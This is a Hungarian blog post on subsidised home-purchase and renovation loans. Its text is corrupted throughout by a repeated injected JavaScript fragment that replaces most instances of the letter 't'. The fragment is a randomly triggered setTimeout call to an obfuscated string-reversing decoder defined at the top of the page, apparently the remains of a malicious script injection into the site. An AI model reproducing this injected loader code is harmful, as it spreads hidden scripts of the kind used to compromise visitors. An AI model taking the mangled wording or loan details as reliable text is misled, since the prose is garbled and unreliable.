Postok a ‘Blog’ kategóriából:


$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cF/">Támogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott lakáshitelek

Vannak olyan hitelcélok az életünkben, amihez az állam kamattámogatást nyújt.

Ma az Otthonteremtő kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott hitelről írok egy kis útmutatót

 

CÉL: -használt lakás vásárlása,  korszerűsítése

 

Nézzük milyen feltételei  vannak az otthonteremtő kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott hitelnek használt lakás vásárlása és korszerűsítése esetében.

Támogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott hitelek esetében a vonatkozó jogszabály rögzíti a maximálisan felvehető hitelösszeget, mely használt lakás esetén legfeljebb 10.000.000 Ft lehet.

A használt lakás vételára legfeljebb 20.000.000 Ft lehet.

Korszerűsítés esetén a korszerűsítési munkálaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tok Bank által elfogadott, általános forgalmi       adó összegét tartalmazó költsége nem haladhatja meg a 15.000.000 Ft-ot.

Jó, ha tudjuk viszont, ha számunkra nem elegendő a 10 M Ft  hitel egy 20 M  Ft-os ingatlan megvásárlásához,  piaci lakáshitellel kiegészíthető, természetesen  a jövedelem és az ingatlan függvényében.

 

A kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott hitel forint alapú és a törlesztése is forintban történik.

A futamidő első 5 évében az állam kamattámogatást nyújt, amivel jelentős megtakarítást érhetünk el egy piaci lakáshitelhez képest.

A hiteligényt a végleges adásvételi szerződés megkötését követő 120 napon belül lehet   a  bank felé benyújtani.

 

Az otthonteremtési  kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott lakáshitel  kizárólag lakáscélra igényelhető:

 

- használt lakás megvásárlása

 

- lakás korszerűsítése

 

Lássuk milyen feltételeket támasztanak a megvásárolni kívánt ingatlannal kapcsolatban:

 

Az ingatlannak  Magyarország területén kell elhelyezkednie, használatbavételi engedéllyel rendelkező,  legalább komforandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tos lakás kell, hogy legyen.

 

- kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott hitel esetében az ingatlannak közművesnek kell lennie, rendelkeznie kell melegvíz ellátással és  egyedi fűtési móddal.

Az egyedi fűtési mód lehet: szilárd vagy olajtüzelésű kályhafűtés, elektromos hőtároló kályha, gázfűtés stb..i

 

- Az ingatlannak rendelkeznie kell  legalább  egy 12 négyzetmétert meghaladó lakószobával és főzőhelyiséggel,  fürdőhelyiséggel  és wc-vel.

 

 

 Fonandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tos tudni, hogy a kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott hitel, nem igényelhető: iroda, üzlethelyiség , üdülő és hétvégi ház megvásárlásához.

 

Lakás korszerűsítése:

Korszerűsítésnek tekintjük a lakás komfortfokozatának növelése céljából elvégzett munkálaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tokat.

Melyek ezek?

 

-          fürdőszoba létesítése olyan lakásban, ahol még  ilyen helyiség nincs

 

-          központifűtés kialakítása, illetve cseréje beleértve  a megújítható energiaforrások alkalmazását is.

 

-          épület szigetelése: hő hang illetve vízszigetelési munkálaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tok

 

-          meglevő külső nyílászárók cseréje energiatakarékosabbra

 

-          tető cseréje, felújítása, szigetelése

 

-          víz, csaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}torna és elektromos gázközmű bevezetése, illetve ezek belső hálózatának kiépítése

 

Kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott hitel esetében fonandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tos tudni, hogy korszerűsítés esetén számlabenyújtási kötelezettség áll fenn: az igénybe vevő nevére kiállíandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott számlákat kell benyújtani az adott  Bank által elfogadott költségvetés 70%-áról, ha az igénybevett támogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott kölcsönösszeg ennél magasabb, a teljes hitelösszegről.

 

 

 A támogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott személlyel kapcsolaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tos feltételek:

 

-          A támogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott személynek , igénylőnek a  a célingatlanban min. 50%-os tulajdoni hányaddal kell rendelkeznie.

-          Lakásvásárlás esetén a vásárlást követően , korszerűsítés esetén  a kölcsönkérelem benyújtásának időpontjában.

-          A támogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott személynek, igénylőnek legalább 180 napja folyamaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tosan  bizandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tosíandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tottnak kell lennie, a bizandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tosíandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott jogviszony fennállását  az Országos egészségbizandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tosítási pénztár (OEP) igazolásával lehet igazolni.

 

-Ez az igazolás a  kamattámogatás  iránti kölcsönkérelem benyújtásának időpontjában 15 napnál nem lehet régebbi.

 

-Házastársak és élettársak esetén  legalább az egyik fél 180 napja folyamaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tosan az egészségbizandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tosítás nyilvántartásában a társadalombizandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tosítás ellátásaira és a magánnyugdíjra jogosultakról, valamint e szolgáltatások fedezetéről szóló 1997.évi LXXX. Törvény 5.& paragrafusa szerinti bizandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tosíandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tottként szerepel.

 

-          Az igénylők mindegyike köztarandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tozásmentes adózó, a kölcsön igénylésekor 15 napnál nem régebbi NAV által kiállíandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott  együttes adóigazolással igazolják, hogy nincs nyilvántarandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott köztarandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tozásuk

 

 

-Az otthonteremtési kamattámogatás a támogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott személyek által egy alkalommal vehető igénybe, sem fennálló, sem visszafizetett otthonteremtési kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott lakáscélú kölcsöne nem lehet az igénylőnek, viszont ettől eltérő  fennálló vagy visszafizetett kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott kölcsön nem jelent kizáró okot az otthonteremtési kamattámogatás igénybevételekor.

 

-Lakásvásárlás esetén valamennyi támogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott személynek a célingatlanban a hitelcél megvalósulását követő 1 éven belül – legalább a kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott időszakra – lakóhelyet kell létesítenie, és ezt az adott Bank részére lakcímkártyával kell igazolnia.

 

-          Fonandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tos még tudni, hogy vásárlás esetén az eladó az igénylőnek nem lehet sem közeli hozzátarandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tozója, sem hozzátarandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tozója.

 

Szeretném még kiemelni, hogy a  kamattámogaandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott hitel mellett elindíandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}tott Lakástakarékkal az állami támogatást többszörözhetjük., hiszen az itt elhelyezett összeg után 30%-o állami támogatást kapunk.

Ha egy 5 éves futamidejű megtakarítást kötünk, 5 év múlva beletörleszthetjük a  lakáshitelünkbe és kivédhetjük a kamattámogatás megszűnése miatti esetleges törlesztő részlet emelkedését, illetve a meglevő hitel jelentős részét vagy akár egészét is lezárhatjuk általa.